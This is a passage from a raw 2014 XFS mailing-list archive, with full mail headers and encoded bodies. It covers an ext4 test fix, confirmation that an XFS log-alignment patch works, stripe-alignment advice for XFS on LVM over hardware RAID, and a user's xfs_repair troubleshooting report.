h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=HmPix5VVPYZAQJJs3vVDs5TvZU4kvVE6201EBEqYpSgcHVzRRjcU+bzK6bnCEr1Fi MWLw1ObTlL3qQv7fDOsKPoajsYfzjlut6tiBMywrEQKo5hj8KuIUeO96M0H9c9M5PY UUAyEtb7iPymvtCstK+lnsZG4gKNNz/HG2Nf/eWk= x-aol-sid: 3039ac1add8d52e9772d024f X-AOL-IP: 67.78.97.126 X-Barracuda-Connect: omr-m10.mx.aol.com[64.12.143.86] X-Barracuda-Start-Time: 1391032111 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --52e97730_327b23c6_1023 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Kodiak =46urr liked your message with Boxer. On January 29, 2014 at 3:43:= 59 PM CST, Eric Sandeen wrote:On 1/29/14, 3:38 PM, Theodore Ts'o wrote:>= On Wed, Jan 29, 2014 at 03:45:02PM -0500, Eric Whitney wrote:>> ext4/306= will fail when mounting the ext3 file system it creates if an>> ext3-inc= ompatible mount option is applied by =5Fscratch=5Fmount. This can>> happe= n if EXT=5FMOUNT=5FOPTIONS is defined appropriately in the test>> environ= ment. =46or example, the block=5Fvalidity option is commonly used>> to en= hance ext4 testing, and it is not supported by ext3. =46ix this by>> not = including any mount options defined by the test environment.> > I'm not s= ure I understand why the test is insisting that the file> system be mount= ed using ext3. If the file system is created without> the extents flag, a= ll of the files will be created using indirect> blocks, and fundamentally= what this test is getting at is that after> we grow the file system usin= g resize2fs, the new blocks are available> to be allocated and attached t= o an indirect block file.> > We can do this by using ext4; I'm not sure w= hy this test is trying to> use ext3 to set up the test flie system. It mi= ght be better to get> rid of the requirement to create the file system us= ing ext3, since it> will make the test runnable even if the ext3 file sys= tem hasn't been> configured into the system and CON=46IG=5FEXT23=5FAS=5FE= XT4 is not enabled.> > IIRC, Eric Sandeen wrote this test --- Eric, am I = missing some reason> why it was necessary to use ext3 here=3FNope. Tomayt= o, tomahto - I think the original report had trouble withan ext3 filesyst= em, so that's how I wrote the testcase.It could be fixed either way, I th= ink.-Eric> > - Ted> --To unsubscribe from this list: send the line =22uns= ubscribe linux-ext4=22 inthe body of a message to majordomo=40vger.kernel= .orgMore majordomo info at http://vger.kernel.org/majordomo-info.html = --52e97730_327b23c6_1023 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <html><body><div>Kodiak =46urr liked your message with <a href=3D=22http:= //ad.apps.fm/x3NHJParL2cT9cQ9WcgT1xM8G1T=5FLUvoWYXredpuoYBLq62ptJqsuhqD23= uAmN=5FARL=5FcKzXIyDOjqo=5F2b16qX20uaphn=46WU7uPwUiYWuOAT=46UAGQB7Cox3TWT= 3ZKjzWyP=46IlhepnEZcRklQejqpibw=22>Boxer</a>.</div><br/><br/><div><div cl= ass=3D=22quote=22>On January 29, 2014 at 3:43:59 PM CST, Eric Sandeen <es= andeen=40redhat.com> wrote:<br/><blockquote type=3D=22cite=22 style=3D=22= border-left-style:solid;border-width:1px;margin-left:0px;padding-left:10p= x;=22>On 1/29/14, 3:38 PM, Theodore Ts'o wrote:<br />> On Wed, Jan 29, 20= 14 at 03:45:02PM -0500, Eric Whitney wrote:<br />>> ext4/306 will fail wh= en mounting the ext3 file system it creates if an<br />>> ext3-incompatib= le mount option is applied by =5Fscratch=5Fmount. This can<br />>> happe= n if EXT=5FMOUNT=5FOPTIONS is defined appropriately in the test<br />>> e= nvironment. =46or example, the block=5Fvalidity option is commonly used<= br />>> to enhance ext4 testing, and it is not supported by ext3. =46ix = this by<br />>> not including any mount options defined by the test envir= onment.<br />> <br />> I'm not sure I understand why the test is insistin= g that the file<br />> system be mounted using ext3. If the file system = is created without<br />> the extents flag, all of the files will be crea= ted using indirect<br />> blocks, and fundamentally what this test is get= ting at is that after<br />> we grow the file system using resize2fs, the= new blocks are available<br />> to be allocated and attached to an indir= ect block file.<br />> <br />> We can do this by using ext4; I'm not sure= why this test is trying to<br />> use ext3 to set up the test flie syste= m. It might be better to get<br />> rid of the requirement to create the= file system using ext3, since it<br />> will make the test runnable even= if the ext3 file system hasn't been<br />> configured into the system an= d CON=46IG=5FEXT23=5FAS=5FEXT4 is not enabled.<br />> <br />> IIRC, Eric = Sandeen wrote this test --- Eric, am I missing some reason<br />> why it = was necessary to use ext3 here=3F<br /><br />Nope. Tomayto, tomahto - I = think the original report had trouble with<br />an ext3 filesystem, so th= at's how I wrote the testcase.<br /><br />It could be fixed either way, I= think.<br /><br />-Eric<br /><br />> <br />> - Ted<br />> <br /><br= />--<br />To unsubscribe from this list: send the line =22unsubscribe li= nux-ext4=22 in<br />the body of a message to majordomo=40vger.kernel.org<= br />More majordomo info at http://vger.kernel.org/majordomo-info.html<b= r /></blockquote></div></div></body></html> --52e97730_327b23c6_1023-- From mlsemon35@gmail.com Wed Jan 29 16:31:17 2014 Return-Path: <mlsemon35@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E0C647F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 16:31:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7F563AC007 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:31:13 -0800 (PST) X-ASG-Debug-ID: 1391034668-04bdf0121d0ba40001-NocioJ Received: from mail-ob0-f172.google.com (mail-ob0-f172.google.com [209.85.214.172]) by cuda.sgi.com with ESMTP id ifJJXJFo761pkZMK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:31:09 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.172 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.172] Received: by mail-ob0-f172.google.com with SMTP id vb8so2693683obc.17 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:31:08 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.172] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.172] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=Oy+AVx5ohs/8nYveSVYLIn6+E0o1nZznrIaSD/johzc=; b=GcSqEjWa12+XKE/4d1IJpvHzO1efKniGjQG5UamFLSHwnaENJ0RrxGLcrqLg/a0XNI 3364qayKHpwMA7mZZcmm5Yz9Zl6+zUBI0xKvnW1O14JwOH2BKS6agCIlLCP38OnCHnK4 d+7Q9U1cXGVJbzwC1jpdj4l1IvJBuBEQ0Y7WfMq/HxEftS82JEyIfEFcKmiYB9IZAtnn /JdJpyhuUNKxsoWFRwRx7RDTXOgOw/xoaKjruJohjUBFaA1B4y3iayKmeuOJqH7I0v+p AiOfCk0zy1LpLVK740mcfF6ceNrXszsZQ23kurR6qo1QAFsqX/1mq+0y8uQ/balW73HP YCHg== X-Received: by 10.182.128.138 with SMTP id no10mr8504977obb.32.1391034668671; Wed, 29 Jan 2014 14:31:08 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id qj10sm14753984oeb.6.2014.01.29.14.31.07 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 29 Jan 2014 14:31:08 -0800 (PST) Message-ID: <52E98124.5060808@gmail.com> Date: Wed, 29 Jan 2014 17:31:00 -0500 From: "Michael L. Semon" <mlsemon35@gmail.com> User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> <20140127233039.GF2212@dastard> <52E768CF.5040908@gmail.com> <20140128095559.GJ2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken In-Reply-To: <20140128095559.GJ2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ob0-f172.google.com[209.85.214.172] X-Barracuda-Start-Time: 1391034669 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144620 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 01/28/2014 04:55 AM, Dave Chinner wrote: > Ok, so xfs_inode_item_format+0x4a is inside the very first call to > preapre the ilf structure. That tells us that the initial > xfs_log_vec/xfs_log_iovec array are resulting in an unaligned > buffer. > > Can you try the patch below, Michael? > > Cheers, > > Dave. To the best of my knowledge, it works fine. It was subjected to some of the xfstests xfs/* and generic/* series along with some of the "log" group. In addition, it was run through fs_mark and a homebrew benchmark idea of running a ( make clean; make ) loop for the kernel while two fsx processes were running. This was for default (4k, internal logdev) v5-superblock XFS filesystems. v4-superblock XFS went through similar testing, to a lesser degree. I did not know about a message like "log buf needs to be larger than stripe size" on tests that require v2 logs. [xfs/087 might be one of those tests.] This was also the case for the test-patch that padded the structs directly, and this might be an old message. At the very least, I'm keeping this patch. Your approach to the solution looks cool. Basically, you're stating that you can have either xfs_log_vec or xfs_log_iovec in there, and no matter what their size, they get aligned in the log, correct? Thanks! Michael From stan@hardwarefreak.com Wed Jan 29 16:40:50 2014 Return-Path: <stan@hardwarefreak.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F97C7F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 16:40:50 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5810A30407A for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:40:50 -0800 (PST) X-ASG-Debug-ID: 1391035248-04bdf0121e0bf80001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 2GfKYlw5ChbX6Fbi for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 14:40:49 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 772006C0BD; Wed, 29 Jan 2014 16:40:48 -0600 (CST) Message-ID: <52E98373.4070301@hardwarefreak.com> Date: Wed, 29 Jan 2014 16:40:51 -0600 From: Stan Hoeppner <stan@hardwarefreak.com> Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@sandeen.net>, "C. Morgan Hamill" <chamill@wesleyan.edu>, xfs <xfs@oss.sgi.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <52E91923.4070706@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391035248 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/29/2014 9:07 AM, Eric Sandeen wrote: > On 1/29/14, 8:26 AM, C. Morgan Hamill wrote: >> Howdy folks, >> >> I understand that XFS have stripe unit and width configured according to >> the underlying RAID device when using LVM, but I was wondering if this >> is still the case when a given XFS-formatted logical volume takes up >> only part of the available space on the RAID. In particular, I could >> imagine that stripe width would need to be modified proportionally with >> the decrease in filesystem size. My intuition says that's false, but >> I wanted to check with folks who know for sure. > > The stripe unit and width are units of geometry of the underlying > storage; a filesystem will span some number of stripe units, depending > on its size. > > So no, the filesystem's notion of stripe geometry does not change > with the filesystem size. > > You do want to make sure that stripe geometry is correct and aligned > from top to bottom. This is correct if indeed stripe alignment is beneficial to the workload. But not all workloads benefit from stripe alignment. Some may perform worse when XFS is stripe aligned to the underlying storage. For instance, when a workload performs lots of allocations that are significantly smaller than the RAID stripe width. Here you end up with a small file allocated at the start of each stripe and the rest of the stripe left empty. This can create an IO hot spot on the first one or two drives in the array, and the others may sit idle. This obviously has a negative impact on throughput with such a workload. Thus for a workload that performs lots of predominantly small allocations, it is best to not align during mkfs.xfs with hardware RAID that doesn't provide geometry to Linux. If the underlying storage device does do so, or if it is is a striped md/RAID device, you will want to manually specify 4K alignment, as mkfs.xfs will auto align to md geometry. -- Stan From stan@hardwarefreak.com Wed Jan 29 17:55:49 2014 Return-Path: <stan@hardwarefreak.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB2257F7C for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 17:55:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9CF14304075 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:55:46 -0800 (PST) X-ASG-Debug-ID: 1391039745-04cbb00c280bd30001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id CUAIVilQyDRLGmDK for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 15:55:45 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 6B5AC6C0BD; Wed, 29 Jan 2014 17:55:45 -0600 (CST) Message-ID: <52E99504.4030902@hardwarefreak.com> Date: Wed, 29 Jan 2014 17:55:48 -0600 From: Stan Hoeppner <stan@hardwarefreak.com> Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: "C. Morgan Hamill" <chamill@wesleyan.edu>, xfs <xfs@oss.sgi.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1391022066-sup-5863@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391039745 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/29/2014 1:11 PM, C. Morgan Hamill wrote: > Thanks for the quick reply. > > Excerpts from Eric Sandeen's message of 2014-01-29 10:07:15 -0500: >> The stripe unit and width are units of geometry of the underlying >> storage; a filesystem will span some number of stripe units, depending >> on its size. >> >> So no, the filesystem's notion of stripe geometry does not change >> with the filesystem size. >> >> You do want to make sure that stripe geometry is correct and aligned >> from top to bottom. > > Just to make sure I've understood, for 3 14-disk RAID 6 groups striped > together into a single RAID 60, with stripe units of 128k, split up into > some number of LVM logical volumes, I'd create the filesystems with the > following: > > mkfs.xfs -d su=128k,sw=36 ... This is not correct. You must align to either the outer stripe or the inner stripe when using a nested array. In this case it appears your inner stripe is RAID6 su 128KB * sw 12 = 1536KB. You did not state your outer RAID0 stripe geometry. Which one you align to depends entirely on your workload. However, given that you currently intend to assemble one large array from 3 smaller arrays, then immediately carve it into smaller pieces, it's seems that RAID60 is probably not the correct architecture for your workload. RAID60 is suitable for very large streaming write/read workloads where you are evenly distributing filesystem blocks across a very large spindle count, with a deterministic IO pattern, and with no RMW. It is not very suitable for consolidation workloads, as you seem to be describing here. Everything starts and ends with the workload. You always design the storage to meet the needs of the workload, not the other way round. You seem to be designing your system from the storage up. This is often a recipe for disaster. Please describe your workload in more detail so we can provide better, detailed, advice. -- Stan From DLeonov@beeline.ru Wed Jan 29 22:09:05 2014 Return-Path: <DLeonov@beeline.ru> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE, MIME_BASE64_BLANKS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D97547F50 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 22:09:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C474E304082 for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 20:09:02 -0800 (PST) X-ASG-Debug-ID: 1391054935-04cbb00c2913030001-NocioJ Received: from mxs.beeline.ru (mxs.beeline.ru [37.9.244.1]) by cuda.sgi.com with ESMTP id azEMV8dJ4B9HPqnF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 29 Jan 2014 20:08:57 -0800 (PST) X-Barracuda-Envelope-From: DLeonov@beeline.ru X-Barracuda-Apparent-Source-IP: 37.9.244.1 Received: from mxs.beeline.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 42A0B807DB; Thu, 30 Jan 2014 08:08:55 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 3CA178081C; Thu, 30 Jan 2014 08:08:55 +0400 (MSK) Received: from ms-lnmh001.vimpelcom.ru (ms-lnmh001.bee.vimpelcom.ru [192.168.168.27]) by mxs.beeline.ru (Postfix) with ESMTP id 03779807DB; Thu, 30 Jan 2014 08:08:55 +0400 (MSK) Subject: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= X-KeepSent: EE60E38E:7F5AFD65-44257C70:00169F4E; type=4; name=$KeepSent X-ASG-Orig-Subj: =?KOI8-R?B?Pj46IFJlOiBIwTogUmU6IFhGUzogQXNzZXJ0aW9uIGZhaWxlZDog?= =?KOI8-R?B?ZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTog?= =?KOI8-R?B?MTU5MA==?= To: xfs@oss.sgi.com Cc: david@fromorbit.com X-Mailer: Lotus Notes Release 8.5.3FP2 July 03, 2012 Message-ID: <OFEE60E38E.7F5AFD65-ON44257C70.00169F4E-44257C70.0016C9F4@beeline.ru> From: Dmitriy Yu Leonov <DLeonov@beeline.ru> Date: Thu, 30 Jan 2014 08:08:54 +0400 X-MIMETrack: Serialize by Router on MS-LNMH001/HUB/BeeLine(Release 8.5.3FP2 HF22|July 24, 2012) at 30.01.2014 08:08:54 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=CBBBF6E3DF8519DE8f9e8a93df938690918cCBBBF6E3DF8519DE" Content-Disposition: inline X-KLMS-Rule-ID: 6 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Status: not checked X-KLMS-AntiSpam-Interceptor-Info: not checked X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, bases: 2014/01/29 23:04:00 #7423964; khse: 2013-04-03 08:48:01 X-KLMS-AntiVirus-Status: Clean, skipped X-Barracuda-Connect: mxs.beeline.ru[37.9.244.1] X-Barracuda-Start-Time: 1391054936 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_BASE64_BLANKS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144629 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding --0__=CBBBF6E3DF8519DE8f9e8a93df938690918cCBBBF6E3DF8519DE Content-type: text/plain; charset=KOI8-R Content-transfer-encoding: base64 DQpHb29kIG1vbmluZywgZGVhciBkZXZlbG9wZXJzLg0KDQpJcyB0aGVyZSBhbnkgY29uY2x1c2lv biBvbiB0aGUgc3VibWl0dGVkIGluZm9ybWF0aW9uPyBDYW4gWW91IGhlbHAgd2l0aCBhDQpzb2x1 dGlvbiB0byBteSBwcm9ibGVtPw0KDQpQUy4gSSdtIHJlZ2lzdGVyZWQgcHJvYmxlbSBhbHNvIGlu IFhGUyBidWd6aWxsYToNCmh0dHA6Ly9vc3Muc2dpLmNvbS9idWd6aWxsYS9zaG93X2J1Zy5jZ2k/ aWQ9MTA0NQ0KDQo/DQogIFNpbmNlcmVseSwgRG1pdHJ5Lg0KDQotLS0tLSDwxdLF08zBzs86IERt aXRyaXkgWXUgTGVvbm92L0JlZUxpbmUgxMHUwTogMzAuMDEuMjAxNCAwODowNyAtLS0tLQ0KDQrv 1DoJRG1pdHJpeSBZdSBMZW9ub3YvQmVlTGluZQ0K68/N1ToJeGZzQG9zcy5zZ2kuY29tLA0K68/Q ydE6CWRhdmlkQGZyb21vcmJpdC5jb20NCuTB1ME6CTI5LjAxLjIwMTQgMDg6MjINCvTFzcE6CT4+ OiBSZTogSME6IFJlOiBYRlM6IEFzc2VydGlvbiBmYWlsZWQ6IGZzX2lzX29rLCBmaWxlOg0KICAg ICAgICAgICAgZnMveGZzL3hmc19hbGxvYy5jLCBsaW5lOiAxNTkwDQoNCg0KUmVwb3N0IG15IG1l c3NhZ2UsIGJlY2F1c2UgSSBhY2NpZGVudGFsbHkgYW5zd2VyZWQgRGF2ZSBpbnN0ZWFkIG9mDQph bnN3ZXJpbmcgYWxsLiBTb3JyeS4NCkknbSByZWdpc3RlcmVkIHByb2JsZW0gYWxzbyBpbiBYRlMg YnVnemlsbGE6DQpodHRwOi8vb3NzLnNnaS5jb20vYnVnemlsbGEvc2hvd19idWcuY2dpP2lkPTEw NDUNCg0KR29vZCBldmVuaW5nLCBEYXZlLg0KDQpJP20gaW5zdGFsbGVkIHhmc3Byb2dzIHZlcnNp b24gMy4xLjExIGFuZCB0cnkgdG8gcmVwYWlyIGZpbGVzeXN0ZW0gb24gdGhlDQpyYWlkIGRpc2su IEJ1dCBjb21tYW5kIHhmc19yZXBhaXIgLVAgL2Rldi9zZGIxIGhhbmdlZC4NClRoZW4gSSBkZWNp ZGVkIHRvIHJlYm9vdCB3aXRoIG9sZCBrZXJuZWwgdmVyc2lvbiAzLjcuMTAgKEkgaGF2ZSBzZXZl cmFsDQp2ZXJzaW9ucyBvZiBrZXJuZWwpLiBBZnRlciByZWJvb3QgdGhlIHN5c3RlbSwgSSByYW4g dGhlIGNvbW1hbmQgYWdhaW4uDQpDb21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSBpbiB0aGUg b2xkIGtlcm5lbCAzLjcuMTAuIE91dHB1dCBvZiB0aGUNCmNvbW1hbmRzIGF0dGFjaGVkIHRvIHRo ZSBsZXR0ZXIgYWZ0ZXIgdGhlIHRleHQuDQpGcm9tIHRoZSBkZXNjcmlwdGlvbiBvZiB0aGUgY29t bWFuZHMgb3V0cHV0IGNsZWFyIHRoYXQgdGhlcmUgaXMgYSBsb3NzIG9mDQpsb2cgZmlsZSBkYXRh LiBOb3cgSSBuZWVkIHRvIHJlc3RvcmUgdGhlIGZpbGUgc3lzdGVtIHdpdGggYSBtaW5pbXVtIG9m IGRhdGENCmxvc3MuIElzIGl0IHBvc3NpYmxlPyBXaGF0IGNvbW1hbmQgc2V0IGNvcnJlY3RseSBm b3IgdGhhdCB1c2U/DQoNClBTOiBvdXRwdXQgb2YgcHJvZ3JhbXMgYW5kIHN5c3RlbSBpbmZvIGlu IHRoZSBib3R0b20gb2Ygc2lnbmF0dXJlLg0KDQoNCg0KPw0KICBTaW5jZXJlbHksIERtaXRyeS4N Cg0KDQp1bmFtZSAtYQ0KTGludXggZGV2YXN0YXRvciAzLjcuMTAtZ2VudG9vICMyIFNNUCBXZWQg TWFyIDI3IDEzOjI4OjAwIE1TSyAyMDEzIHg4Nl82NA0KSW50ZWwoUikgWGVvbihUTSkgQ1BVIDMu MDBHSHogR2VudWluZUludGVsIEdOVS9MaW51eA0KDQoNCnhmc19yZXBhaXIgLVAgL2Rldi9zZGIx DQpQaGFzZSAxIC0gZmluZCBhbmQgdmVyaWZ5IHN1cGVyYmxvY2suLi4NClBoYXNlIDIgLSB1c2lu ZyBpbnRlcm5hbCBsb2cNCiAgICAgICAtIHplcm8gbG9nLi4uDQpFUlJPUjogVGhlIGZpbGVzeXN0 ZW0gaGFzIHZhbHVhYmxlIG1ldGFkYXRhIGNoYW5nZXMgaW4gYSBsb2cgd2hpY2ggbmVlZHMgdG8N CmJlIHJlcGxheWVkLiAgTW91bnQgdGhlIGZpbGVzeXN0ZW0gdG8gcmVwbGF5IHRoZSBsb2csIGFu ZCB1bm1vdW50IGl0IGJlZm9yZQ0KcmUtcnVubmluZyB4ZnNfcmVwYWlyLiAgSWYgeW91IGFyZSB1 bmFibGUgdG8gbW91bnQgdGhlIGZpbGVzeXN0ZW0sIHRoZW4gdXNlDQp0aGUgLUwgb3B0aW9uIHRv IGRlc3Ryb3kgdGhlIGxvZyBhbmQgYXR0ZW1wdCBhIHJlcGFpci4NCk5vdGUgdGhhdCBkZXN0cm95 aW5nIHRoZSBsb2cgbWF5IGNhdXNlIGNvcnJ1cHRpb24gLS0gcGxlYXNlIGF0dGVtcHQgYSBtb3Vu dA0Kb2YgdGhlIGZpbGVzeXN0ZW0gYmVmb3JlIGRvaW5nIHRoaXMuDQoNCg0KeGZzX3JlcGFpciAt biAvZGV2L3NkYjENClBoYXNlIDEgLSBmaW5kIGFuZCB2ZXJpZnkgc3VwZXJibG9jay4uLg0KUGhh c2UgMiAtIHVzaW5nIGludGVybmFsIGxvZw0KICAgICAgIC0gc2NhbiBmaWxlc3lzdGVtIGZyZWVz cGFjZSBhbmQgaW5vZGUgbWFwcy4uLg0KYmxvY2sgKDMsMTQ5ODkzMy0xNDk4OTMzKSBtdWx0aXBs 